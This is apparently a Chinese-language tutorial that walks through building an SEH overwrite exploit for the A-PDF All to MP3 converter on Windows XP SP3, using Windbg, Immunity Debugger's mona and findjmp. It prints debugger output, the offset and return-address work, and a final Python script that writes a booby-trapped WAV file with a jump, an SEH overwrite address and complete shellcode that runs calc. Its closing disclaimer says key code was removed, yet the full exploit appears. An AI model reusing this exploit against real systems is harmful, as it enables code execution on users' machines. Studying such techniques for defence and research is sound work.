A-PDFAlltoMP3是一款MP3格式转换程序,在对该程序进行测试的时候,发现使用了加壳以及反调试技术。当时调试这个漏洞的时候是2.1.0版本,现在的最新版本是2.3.0,不过漏洞依然存在,只是内存地址发生了一些变化,感兴趣的朋友可以尝试使用本文中的教程试着调试一下。
本文进行测试的系统环境为WindowsXPSP3。用到的工具包括Windbg(微软的内核级调试工具)、ImmunityDebugger(类似于OllyDBG的调试工具,里面的一些脚本命令很好用)、findjmp(查找命令地址的工具)和metasploit(渗透测试平台,可以与ImmunityDebugger配合使用)。
本文内容所提及均为本地测试或经过目标授权同意,旨在提供教育和研究信息,内容已去除关键敏感信息和代码,以防止被恶意利用。作者不鼓励或支持任何形式的非法行为。
SEH介绍
SEH是结构化异常处理例程,当程序发生异常时,程序会调用程序中已经定义的异常处理函数进行处理(如try…catch…)。如果程序中没有定义对该异常的处理,则该异常交给系统进行处理,一般就是弹出一个对话框,并提示用户是终止程序还是调试错误。所以SEH的结构为8个字节,两个4字节的指针,第一个指针指向下一个SEH的地址,第二个指针执行异常处理函数。一般首个SEH在TEB/TIB结构的顶部,所以SEH也叫做FS:[0]链。SEH在栈中的分布大致如图1所示。
漏洞利用原理
由于SEH结构的特性,所以我们可以在第一个SEH中构造一个异常,让程序跳转到我们指定的shellcode位置。因为SEH的第一个指针(以后称为nextSEH)指向下一个SEH结构,第二个指针(以后称为SEHandler)指向处理异常的函数,所以我们可以把nextSEH指针的值设为shellcode位置,让程序跳转到那里执行。要程序跳转nextSEH必须再产生一个SEH,这里我们用poppopret。这个命令序列相当于esp+8,此时程序会跳转到nextSEH,并查找下一个SEH结构。
根据前面提到的原理,我们接下来要做的工作就是寻找存放shellcode的地址,这里shellcode直接放在SEH的后面,然后查找可以利用的SEH结构并覆盖其相应的值。换言之,payload要完成下面的事情:
触发一个异常;
用jumpcode覆盖nextSEH域;
用指向poppopret的指令串覆盖SEHandler域;
Shellcode应该直接跟在被覆盖的SEHandler域后面,被覆盖的nextSEH域中的jumpcode将跳到shellcode执行。
图2为这个payload的执行流程。
异常触发
nextSEH域被覆盖,跳转到shellcode执行
1.进入异常
处理
nextSEH shellcode SEHandler
2.poppopret伪造一个异常,当前的nextSEH在esp+8处,poppopret用这个地址覆盖EIP,使nextSEH得到执行
3.当前SEHandler指向poppopretpoppopret图2payload执行流程图
一个典型的payload为“[Junk][nextSEH][SEHandler][nops-shellcode]”。
nextSEH指向shellcode,SEHandler指向poppopret指令串。这里务必要挑选一个全局性的地址去覆盖SEHandler,以防程序执行的时候该地址被覆盖。
现在,我们构造一个可以让程序崩溃的payload。代码如下:
buffer=A*5000 fh=open(Acrash.wav,w) fh.write(buffer) fh.close()
这是一段python代码,将其编译成wav文件,以让程序可以加载。用Windbg加载程序进行调试,这里需要注意的是,该程序存在加壳与反调试的功能,所以在这里先运行程序,再用Windbg附加,加载好后g命令运行,之后在程序中添加我们构造的wav文件,导致程序崩溃。
用dfs:[0]命令查看SEH链。
0:000dfs:[0] 003b:00000000 003b:00000010 003b:00000020 003b:00000030 b0f9120000001300-0060120000000000.........`...... 001e000000000000-00f0fd7f00000000................ 9c0f0000fc000000-00000000f8381500.............8.. 00c0fd7f00000000-0000000000000000................ 003b:00000040 003b:00000050 003b:00000060 003b:00000070 009d94e300000000-0000000000000000................ 0000000000000000-0000000000000000................ 0000000000000000-0000000000000000................ 0000000000000000-0000000000000000................
0x0012f9b0指向SEH链,查看0x0012f9b0位置,发现这个区域已经被A覆盖。
0:000d12f9b0 0012f9b0 0012f9c0 0012f9d0 0012f9e0 0012f9f0 0012fa00 0012fa10 0012fa20 4141414141414141-4141414141414141 4141414141414141-4141414141414141 4141414141414141-4141414141414141 4141414141414141-4141414141414141 4141414141414141-4141414141414141 4141414141414141-4141414141414141 4141414141414141-4141414141414141 4141414141414141-4141414141414141 AAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA AAAAAAAAAAAAAAAA
查看SEH链。
0:000!exchain 0012f9b0:Unloaded_papi.dll+41414140(41414141) Invalidexceptionstackat41414141
现在我们已经成功覆盖异常处理例程。再用g命令,查看eip的值,发现eip已经被覆盖为41414141,可以控制eip。
0:000g (f9c.fc):Accessviolation-codec0000005(firstchance) Firstchanceexceptionsarereportedbeforeanyexceptionhandling. Thisexceptionmaybeexpectedandhandled. eax=00000000ebx=00000000ecx=41414141edx=7c9232bcesi=00000000edi=00000000 eip=41414141esp=0012f5e0ebp=0012f600iopl=0 nvupeiplzrnapenc cs=001b ss=0023 ds=0023 es=0023 fs=003b gs=0000 efl=00210246 Unloaded_papi.dll+0x41414140: 41414141?? ???
验证完漏洞可以利用后,接下来就是具体的实施了,不过我们先要得到SEH的偏移。
如何得到SEH偏移
从上面的验证我们知道,程序会在填充5000个字符的时候崩溃,所以我们构造一个5000个字符的特殊字符串。打开ImmunityDebugger,在命令行中输入“!monapattern_create5000”,这其实是metasploit的一个小工具pattern_create.rb,ImmunityDebugger将其集成,也方便Windows用户使用。
这时在ImmunityDebugger的安装目录下就出现了pattern.txt文件,这就是ImmunityDebugger构造的特殊字符。用这些构造好的特殊字符替换前面python代码中的5000个字符,编译,在ImmunityDebugger中调试加载,程序崩溃。查看SEH链,如图3所示。
图3加载特殊字符后的SEH链
可以看到SEHandler被69463968覆盖。这串数字可以帮助我们找到SEH的偏移。如果用metasploit的话,可以使用命令“./patter_offset.rb0x69463968”进行偏移的查找。在ImmunityDebugger中则使用命令“!monasuggest”,在命令执行完后点击软件上面的“l”按钮查看日志,可以看到程序列出了很多信息,其中就有我们想要的SEH偏移。图4显示了这些信息的一部分。
图4ImmunityDebugger的日志信息
从图4可以看到,红色框中的值就是我们想要得到的偏移4138,另外还可以发现ImmunityDebugger给出了该漏洞基于metasploit的利用建议。根据前面对SEH的介绍,nextSEH在SEHandler的前面4个字节,所以垃圾代码的字符个数应该是4138-4=4134个。
如何得到poppopret地址
得到SEH的偏移后,我们的payload还剩下poppopret地址没有找到。一般情况下,我们可以先用Windbg加载程序,查看程序加载时使用了哪些DLL文件,然后使用findjmp.exe查找该地址。操作方式为“findjmp.exedll名字寄存器名字”。
Windbg中的显示如图5所示,可以看到程序有两个自身的DLL被加载,使用程序自身的DLL可以避免payload对系统文件的依赖,毕竟不同的系统,系统DLL有可能不同。
图5Windbg中显示的程序运行时加载的DLL用findjmp.exe对poppopret地址进行查找,这里我在lame_enc.dll里面找相应的地址。
图6显示了查找结果,可以看到在lame_enc.dll中与edi相关的poppopret地址被列出来了。
图6findjmp.exe查找poppopret结果
现在我们应该挑选没有\x00的地址,因为\x00表示终止,我们的payload会被截断,之后把地址加到我们的python代码中的SEHandler部分就可以了。
但是,对于这个程序,这样做是不行的,在我分别试了所有的DLL,以及DLL查找到的地址之后,发现这些地址都不能用。应该是程序对SEH进行的一些保护机制,使得这种方法查找的poppopret地址出现了错误。
至于错误的检验,其实可以在程序加载特殊构造的wav文件后,崩溃,在Windbg里面查看我们用findjmp.exe找到的poppopret地址。结果如图7所示,这里的测试地址选用了在图6中显示的0x1002ad84。可以看到,在0x1002ad84地址中存放的是push,而不是我们想要得到的poppopret指令串。
图7dll中的poppopret检验
没关系,我们还有一种可以找到poppopret的方法,使用ImmunityDebugger的mona工具。在命令栏中输入“!monap”命令,在ImmunityDebugger的安装目录下就会生成seh.txt文件,该文件中有各种与SEH漏洞利用相关的信息,如是否有SEH保护机制,相关跳转的地址等,当然还包括poppopret地址。由于前面实验了一些DLL没用,所以这里我选用程序自身的地址0x005d6a91作为要覆盖SEHandler的地址。前面提到不能使用存在\x00的地址,这里我使用了这个地址运行成功,可能是这个程序有点特殊吧。
同样用Windbg检验,如图8所示,可以看到这里确实存放了poppopret指令串。
图8检验mona找到的poppopret地址
现在,各个要查找的部分都找到了,可以开始对payload进行最终的编写了。
完成exploit我们把前面完成的部分根据[Junk][nextSEH][SEH][shellcode]结构拼接起来,实现的python代码如下:
junk=A*4134 nextSEH=\xcc\xcc\xcc\xcc SEH=\x91\x6a\x5d\x00 shellcode=1ABCDEFGHIJKLMN2ABCDEFGHIJKLMN3ABCDEFGHIJKLMN buffer=junk+nextSEH+SEH+shellcode fh=open(mytest.wav,w) fh.write(buffer) fh.close()
为了检验shellcode位置是否与我们想的一样,把nextSEH的代码用\xcc替代,让程序在此处中断,这样可以方便我们验证各个模块的位置。代码中的shellcode赋值方式可以方便我们在shellcode存在偏移的情况下较为快速地定位偏移。
生成wav文件后,用Windbg加载可以看到nextSEH的位置偏移了理想位置2个字节,如图9所示。不过,nextSEH、SEH和shellcode这三个模块还是紧紧连在一起的。
图9对之前想法的验证
因为nextSEH存在偏移2个字节,所以把Junk部分的代码改为4134-2=4132个字节,Junk=”A”*4132,重新查看可以看到nextSEH符合要求了。
接下来给nextSEH赋值,因为shellcode紧跟着SEH,SEH占用4个字节,所以我们可以跳过6个字节执行,在shellcode前面加上一些nop,让shellcode更好的执行,这里我加了4个nop,所以我们的结构就成了[Junk][nextSEH][SEH][4*nop][shellcode]。
在opcode里面\xeb表示近跳,因为我们要跳过6个字节,所以opcode为\xeb\x06。而nextSEH又占用4个字节,所以后面两个字节用nop填充,最后完成的nextSEH为nextSEH=”\xeb\x06\x90\x90”。
这样,一个payload就基本完成了,shellcode用现成的实现打开计算器功能的就行,类似这样的shellcode网上都可以找得到,也有专门的工具生成,这里不再多说。最终的payload代码如下:
junk=A*4132 nextSEH=\xeb\x06\x90\x90 SEH=\x91\x6a\x5d\x00 shellcode=(\xeb\x03\x59\xeb\x05\xe8\xf8\xff\xff\xff\x4f\x49\x49\x49\x49\x49 \x49\x51\x5a\x56\x54\x58\x36\x33\x30\x56\x58\x34\x41\x30\x42\x36 \x48\x48\x30\x42\x33\x30\x42\x43\x56\x58\x32\x42\x44\x42\x48\x34 \x41\x32\x41\x44\x30\x41\x44\x54\x42\x44\x51\x42\x30\x41\x44\x41 \x56\x58\x34\x5a\x38\x42\x44\x4a\x4f\x4d\x4e\x4f\x4a\x4e\x46\x44 \x42\x30\x42\x50\x42\x30\x4b\x38\x45\x54\x4e\x33\x4b\x58\x4e\x37 \x45\x50\x4a\x47\x41\x30\x4f\x4e\x4b\x38\x4f\x44\x4a\x41\x4b\x48 \x4f\x35\x42\x32\x41\x50\x4b\x4e\x49\x34\x4b\x38\x46\x43\x4b\x48 \x41\x30\x50\x4e\x41\x43\x42\x4c\x49\x39\x4e\x4a\x46\x48\x42\x4c \x46\x37\x47\x50\x41\x4c\x4c\x4c\x4d\x50\x41\x30\x44\x4c\x4b\x4e \x46\x4f\x4b\x43\x46\x35\x46\x42\x46\x30\x45\x47\x45\x4e\x4b\x48 \x4f\x35\x46\x42\x41\x50\x4b\x4e\x48\x46\x4b\x58\x4e\x30\x4b\x54 \x4b\x58\x4f\x55\x4e\x31\x41\x50\x4b\x4e\x4b\x58\x4e\x31\x4b\x48 \x41\x30\x4b\x4e\x49\x38\x4e\x45\x46\x52\x46\x30\x43\x4c\x41\x43 \x42\x4c\x46\x46\x4b\x48\x42\x54\x42\x53\x45\x38\x42\x4c\x4a\x57 \x4e\x30\x4b\x48\x42\x54\x4e\x30\x4b\x48\x42\x37\x4e\x51\x4d\x4a \x4b\x58\x4a\x56\x4a\x50\x4b\x4e\x49\x30\x4b\x38\x42\x38\x42\x4b \x42\x50\x42\x30\x42\x50\x4b\x58\x4a\x46\x4e\x43\x4f\x35\x41\x53 \x48\x4f\x42\x56\x48\x45\x49\x38\x4a\x4f\x43\x48\x42\x4c\x4b\x37 \x42\x35\x4a\x46\x42\x4f\x4c\x48\x46\x50\x4f\x45\x4a\x46\x4a\x49 \x50\x4f\x4c\x58\x50\x30\x47\x45\x4f\x4f\x47\x4e\x43\x36\x41\x46 \x4e\x36\x43\x46\x42\x50\x5a) buffer=junk+nextSEH+SEH+\x90\x90\x90\x90+shellcode fh=open(mytest.wav,w) fh.write(buffer) fh.close()
这里需要说明的是,为什么shellcode之前没用括号而这里用了,因为这里shellcode的opcode太长,我把它分成了多段,每一段都是独立的,所以这里用括号把这些字符串都连起来,和在每个字符串后面用加号连起来一个效果。
编译,生成wav文件,直接用A-PDFAlltoMp3程序打开,计算器出现,exploit成功
本文内容所提及均为本地测试或经过目标授权同意,旨在提供教育和研究信息,内容已去除关键敏感信息和代码,以防止被恶意利用。作者不鼓励或支持任何形式的非法行为。